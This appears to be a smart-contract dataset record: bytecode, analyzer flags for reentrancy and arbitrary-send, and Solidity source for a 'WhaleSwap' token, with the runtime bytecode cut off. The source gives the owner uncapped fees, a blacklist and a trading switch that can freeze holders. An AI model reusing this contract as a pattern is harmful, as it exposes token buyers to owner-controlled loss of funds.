b5b6122028484846122d5565b806122105761220f6124a0565b5b50505050565b60008060006122236124b2565b9150915061223a818361219f90919063ffffffff16565b9250505090565b60008083118290612288576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227f9190612f07565b60405180910390fd5b50600083856122979190613235565b9050809150509392505050565b60006008541480156122b857506000600954145b156122c2576122d3565b600060088190555060006009819055505b565b6000806000806000806122e787612514565b95509550955095509550955061234586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123da85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242681612623565b61243084836126e0565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248d91906130a9565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b60008060006006549050600068056bc75e2d6310000090506124e868056bc75e2d6310000060065461219f90919063ffffffff16565b8210156125075760065468056bc75e2d63100000935093505050612510565b81819350935050505b9091565b60008060008060008060008060006125308a600854600c61271a565b9250925092506000612540612216565b905060008060006125538e8787876127b0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125bd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c37565b905092915050565b60008082846125d491906131df565b905083811015612619576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261090612f89565b60405180910390fd5b8091505092915050565b600061262d612216565b90506000612644828461212490919063ffffffff16565b905061269881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f58260065461257b90919063ffffffff16565b600681905550612710816007546125c590919063ffffffff16565b6007819055505050565b6000806000806127466064612738888a61212490919063ffffffff16565b61219f90919063ffffffff16565b905060006127706064612762888b61212490919063ffffffff16565b61219f90919063ffffffff16565b905060006127998261278b858c61257b90919063ffffffff16565b61257b90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c9858961212490919063ffffffff16565b905060006127e0868961212490919063ffffffff16565b905060006127f7878961212490919063ffffffff16565b9050600061282082612812858761257b90919063ffffffff16565b61257b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061284c6128478461315e565b613139565b9050808382526020820190508285602086028201111561286b57600080fd5b60005b8581101561289b578161288188826128a5565b84526020840193506020830192505060018101905061286e565b5050509392505050565b6000813590506128b48161379c565b92915050565b6000815190506128c98161379c565b92915050565b600082601f8301126128e057600080fd5b81356128f0848260208601612839565b91505092915050565b600081359050612908816137b3565b92915050565b60008151905061291d816137b3565b92915050565b600081359050612932816137ca565b92915050565b600081519050612947816137ca565b92915050565b60006020828403121561295f57600080fd5b600061296d848285016128a5565b91505092915050565b60006020828403121561298857600080fd5b6000612996848285016128ba565b91505092915050565b600080604083850312156129b257600080fd5b60006129c0858286016128a5565b92505060206129d1858286016128a5565b9150509250929050565b6000806000606084860312156129f057600080fd5b60006129fe868287016128a5565b9350506020612a0f868287016128a5565b9250506040612a2086828701612923565b9150509250925092565b60008060408385031215612a3d57600080fd5b6000612a4b858286016128a5565b9250506020612a5c85828601612923565b9150509250929050565b600060208284031215612a7857600080fd5b600082013567ffffffffffffffff811115612a9257600080fd5b612a9e848285016128cf565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128f9565b91505092915050565b600060208284031215612ae257600080fd5b6000612af08482850161290e565b91505092915050565b600060208284031215612b0b57600080fd5b6000612b1984828501612923565b91505092915050565b600080600060608486031215612b3757600080fd5b6000612b4586828701612938565b9350506020612b5686828701612938565b9250506040612b6786828701612938565b9150509250925092565b6000612b7d8383612b89565b60208301905092915050565b612b92816132f4565b82525050565b612ba1816132f4565b82525050565b6000612bb28261319a565b612bbc81856131bd565b9350612bc78361318a565b8060005b83811015612bf8578151612bdf8882612b71565b9750612bea836131b0565b925050600181019050612bcb565b5085935050505092915050565b612c0e81613306565b82525050565b612c1d81613349565b82525050565b6000612c2e826131a5565b612c3881856131ce565b9350612c4881856020860161335b565b612c5181613495565b840191505092915050565b6000612c696023836131ce565b9150612c74826134a6565b604082019050919050565b6000612c8c602a836131ce565b9150612c97826134f5565b604082019050919050565b6000612caf6022836131ce565b9150612cba82613544565b604082019050919050565b6000612cd2601b836131ce565b9150612cdd82613593565b602082019050919050565b6000612cf5601d836131ce565b9150612d00826135bc565b602082019050919050565b6000612d186021836131ce565b9150612d23826135e5565b604082019050919050565b6000612d3b6020836131ce565b9150612d4682613634565b602082019050919050565b6000612d5e6029836131ce565b9150612d698261365d565b604082019050919050565b6000612d816025836131ce565b9150612d8c826136ac565b604082019050919050565b6000612da46024836131ce565b9150612daf826136fb565b604082019050919050565b6000612dc76017836131ce565b9150612dd28261374a565b602082019050919050565b6000612dea6011836131ce565b9150612df582613773565b602082019050919050565b612e0981613332565b82525050565b612e188161333c565b82525050565b6000602082019050612e336000830184612b98565b92915050565b6000604082019050612e4e6000830185612b98565b612e5b6020830184612b98565b9392505050565b6000604082019050612e776000830185612b98565b612e846020830184612e00565b9392505050565b600060c082019050612ea06000830189612b98565b612ead6020830188612e00565b612eba6040830187612c14565b612ec76060830186612c14565b612ed46080830185612b98565b612ee160a0830184612e00565b979650505050505050565b6000602082019050612f016000830184612c05565b92915050565b60006020820190508181036000830152612f218184612c23565b905092915050565b60006020820190508181036000830152612f4281612c5c565b9050919050565b60006020820190508181036000830152612f6281612c7f565b9050919050565b60006020820190508181036000830152612f8281612ca2565b9050919050565b60006020820190508181036000830152612fa281612cc5565b9050919050565b60006020820190508181036000830152612fc281612ce8565b9050919050565b60006020820190508181036000830152612fe281612d0b565b9050919050565b6000602082019050818103600083015261300281612d2e565b9050919050565b6000602082019050818103600083015261302281612d51565b9050919050565b6000602082019050818103600083015261304281612d74565b9050919050565b6000602082019050818103600083015261306281612d97565b9050919050565b6000602082019050818103600083015261308281612dba565b9050919050565b600060208201905081810360008301526130a281612ddd565b9050919050565b60006020820190506130be6000830184612e00565b92915050565b600060a0820190506130d96000830188612e00565b6130e66020830187612c14565b81810360408301526130f88186612ba7565b90506131076060830185612b98565b6131146080830184612e00565b9695505050505050565b60006020820190506131336000830184612e0f565b92915050565b6000613143613154565b905061314f828261338e565b919050565b6000604051905090565b600067ffffffffffffffff82111561317957613178613466565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131ea82613332565b91506131f583613332565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322a57613229613408565b5b828201905092915050565b600061324082613332565b915061324b83613332565b92508261325b5761325a613437565b5b828204905092915050565b600061327182613332565b915061327c83613332565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132b5576132b4613408565b5b828202905092915050565b60006132cb82613332565b91506132d683613332565b9250828210156132e9576132e8613408565b5b828203905092915050565b60006132ff82613312565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061335482613332565b9050919050565b60005b8381101561337957808201518184015260208101905061335e565b83811115613388576000848401525b50505050565b61339782613495565b810181811067ffffffffffffffff821117156133b6576133b5613466565b5b80604052505050565b60006133ca82613332565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133fd576133fc613408565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137a5816132f4565b81146137b057600080fd5b50565b6137bc81613306565b81146137c757600080fd5b50565b6137d381613332565b81146137de57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200a1c65c5e6f2e9433a65259ee3dc9b5a7db374b9bf7538ac7adcec4842a0721664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,959 |
0xde8e3bec4eecb69e9e2e559606480852bfa16505
|
/**
https://whaleswap.org
https://t.me/whaleswap
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract WhaleSwap is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "WhaleSwap";
string private constant _symbol = "WHALESWAP";
uint8 private constant _decimals = 9;
mapping (address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 _totalSupply = 1000000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 7;
//Sell Fee
uint256 private _taxFeeOnSell = 7;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0x1207F042f8cd2f8c9e9527fB71180d95647eBB2f);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 30000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(from == uniswapV2Pair && transferDelay){
require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
}
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _swapTokensAtAmount)
{
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {_transferNoTax(sender,recipient, amount);}
else {_transferStandard(sender, recipient, amount);}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender,recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
}
|
0x6080604052600436106101d05760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd8014610567578063dd62ed3e1461057c578063ea1644d5146105c2578063f2fde38b146105e257600080fd5b806395d89b41146104c557806398a5c315146104f7578063a9059cbb14610517578063bfd792841461053757600080fd5b80638da5cb5b116100d15780638da5cb5b1461045c5780638eb59a5f1461047a5780638f70ccf71461048f5780638f9a55c0146104af57600080fd5b8063715018a61461041157806374010ece146104265780637d1db4a51461044657600080fd5b80632fd689e31161016f578063672434821161013e578063672434821461037b5780636b9990531461039b5780636d8aa8f8146103bb57806370a08231146103db57600080fd5b80632fd689e314610309578063313ce5671461031f57806349bd5a5e1461033b578063658d4b7f1461035b57600080fd5b80630b78f9c0116101ab5780630b78f9c0146102725780631694505e1461029257806318160ddd146102ca57806323b872dd146102e957600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611c2a565b610602565b005b34801561020a57600080fd5b5060408051808201909152600981526805768616c65537761760bc1b60208201525b6040516102399190611d7a565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611b92565b6106a1565b6040519015158152602001610239565b34801561027e57600080fd5b506101fc61028d366004611d2a565b6106b8565b34801561029e57600080fd5b50600c546102b2906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102d657600080fd5b506005545b604051908152602001610239565b3480156102f557600080fd5b50610262610304366004611b1c565b6106ed565b34801561031557600080fd5b506102db60105481565b34801561032b57600080fd5b5060405160098152602001610239565b34801561034757600080fd5b50600d546102b2906001600160a01b031681565b34801561036757600080fd5b506101fc610376366004611b5d565b610756565b34801561038757600080fd5b506101fc610396366004611bbe565b6107ab565b3480156103a757600080fd5b506101fc6103b6366004611aa9565b610843565b3480156103c757600080fd5b506101fc6103d6366004611cf6565b61088e565b3480156103e757600080fd5b506102db6103f6366004611aa9565b6001600160a01b031660009081526001602052604090205490565b34801561041d57600080fd5b506101fc6108d6565b34801561043257600080fd5b506101fc610441366004611d11565b61090c565b34801561045257600080fd5b506102db600e5481565b34801561046857600080fd5b506000546001600160a01b03166102b2565b34801561048657600080fd5b506101fc61093b565b34801561049b57600080fd5b506101fc6104aa366004611cf6565b610986565b3480156104bb57600080fd5b506102db600f5481565b3480156104d157600080fd5b5060408051808201909152600981526805748414c45535741560bc1b602082015261022c565b34801561050357600080fd5b506101fc610512366004611d11565b6109ce565b34801561052357600080fd5b50610262610532366004611b92565b6109fd565b34801561054357600080fd5b50610262610552366004611aa9565b600a6020526000908152604090205460ff1681565b34801561057357600080fd5b506101fc610a0a565b34801561058857600080fd5b506102db610597366004611ae3565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105ce57600080fd5b506101fc6105dd366004611d11565b610a50565b3480156105ee57600080fd5b506101fc6105fd366004611aa9565b610a7f565b6000546001600160a01b031633146106355760405162461bcd60e51b815260040161062c90611dcf565b60405180910390fd5b60005b815181101561069d576001600a600084848151811061065957610659611f16565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069581611ee5565b915050610638565b5050565b60006106ae338484610b9a565b5060015b92915050565b6000546001600160a01b031633146106e25760405162461bcd60e51b815260040161062c90611dcf565b600691909155600755565b60006106fa848484610cbe565b61074c843361074785604051806060016040528060288152602001611f58602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611290565b610b9a565b5060019392505050565b6000546001600160a01b031633146107805760405162461bcd60e51b815260040161062c90611dcf565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107d55760405162461bcd60e51b815260040161062c90611dcf565b60005b8381101561083c57610829338686848181106107f6576107f6611f16565b905060200201602081019061080b9190611aa9565b85858581811061081d5761081d611f16565b905060200201356112ca565b508061083481611ee5565b9150506107d8565b5050505050565b6000546001600160a01b0316331461086d5760405162461bcd60e51b815260040161062c90611dcf565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161062c90611dcf565b600d8054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b031633146109005760405162461bcd60e51b815260040161062c90611dcf565b61090a60006113b0565b565b6000546001600160a01b031633146109365760405162461bcd60e51b815260040161062c90611dcf565b600e55565b6000546001600160a01b031633146109655760405162461bcd60e51b815260040161062c90611dcf565b600d805460ff60b81b198116600160b81b9182900460ff1615909102179055565b6000546001600160a01b031633146109b05760405162461bcd60e51b815260040161062c90611dcf565b600d8054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109f85760405162461bcd60e51b815260040161062c90611dcf565b601055565b60006106ae338484610cbe565b6000546001600160a01b03163314610a345760405162461bcd60e51b815260040161062c90611dcf565b30600090815260016020526040902054610a4d81611400565b50565b6000546001600160a01b03163314610a7a5760405162461bcd60e51b815260040161062c90611dcf565b600f55565b6000546001600160a01b03163314610aa95760405162461bcd60e51b815260040161062c90611dcf565b6001600160a01b038116610b0e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062c565b600060046000610b266000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610b57816113b0565b600160046000610b6f6000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905550565b6001600160a01b038316610bfc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062c565b6001600160a01b038216610c5d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062c565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062c565b6001600160a01b038216610d845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062c565b60008111610de65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062c565b6001600160a01b03821660009081526004602052604090205460ff16158015610e2857506001600160a01b03831660009081526004602052604090205460ff16155b1561116b57600d54600160a01b900460ff16610e865760405162461bcd60e51b815260206004820152601e60248201527f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000604482015260640161062c565b600e54811115610ed85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062c565b6001600160a01b0383166000908152600a602052604090205460ff16158015610f1a57506001600160a01b0382166000908152600a602052604090205460ff16155b610f725760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062c565b600d546001600160a01b038381169116146110e057600d546001600160a01b038481169116148015610fad5750600d54600160b81b900460ff165b1561105a57326000908152600260205260409020544290610fcf9060b4611e75565b108015610fff57506001600160a01b0382166000908152600260205260409020544290610ffd9060b4611e75565b105b61105a5760405162461bcd60e51b815260206004820152602660248201527f544f4b454e3a2033206d696e7574657320636f6f6c646f776e206265747765656044820152656e206275797360d01b606482015260840161062c565b600f548161107d846001600160a01b031660009081526001602052604090205490565b6110879190611e75565b106110e05760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062c565b3060009081526001602052604090205460105481108015906111025760105491505b8080156111195750600d54600160a81b900460ff16155b80156111335750600d546001600160a01b03868116911614155b80156111485750600d54600160b01b900460ff165b156111685761115682611400565b47801561116657611166476115e8565b505b50505b6001600160a01b03831660009081526004602052604090205460019060ff16806111ad57506001600160a01b03831660009081526004602052604090205460ff165b806111df5750600d546001600160a01b038581169116148015906111df5750600d546001600160a01b03848116911614155b156111ec5750600061125a565b600d546001600160a01b0385811691161480156112175750600c546001600160a01b03848116911614155b15611223576006546008555b600d546001600160a01b03848116911614801561124e5750600c546001600160a01b03858116911614155b1561125a576007546008555b3260009081526002602052604080822042908190556001600160a01b038616835291205561128a84848484611622565b50505050565b600081848411156112b45760405162461bcd60e51b815260040161062c9190611d7a565b5060006112c18486611ece565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260019091529182205461131b918490611290565b6001600160a01b03808616600090815260016020526040808220939093559085168152205461134a9083611643565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061139e9086815260200190565b60405180910390a35060019392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c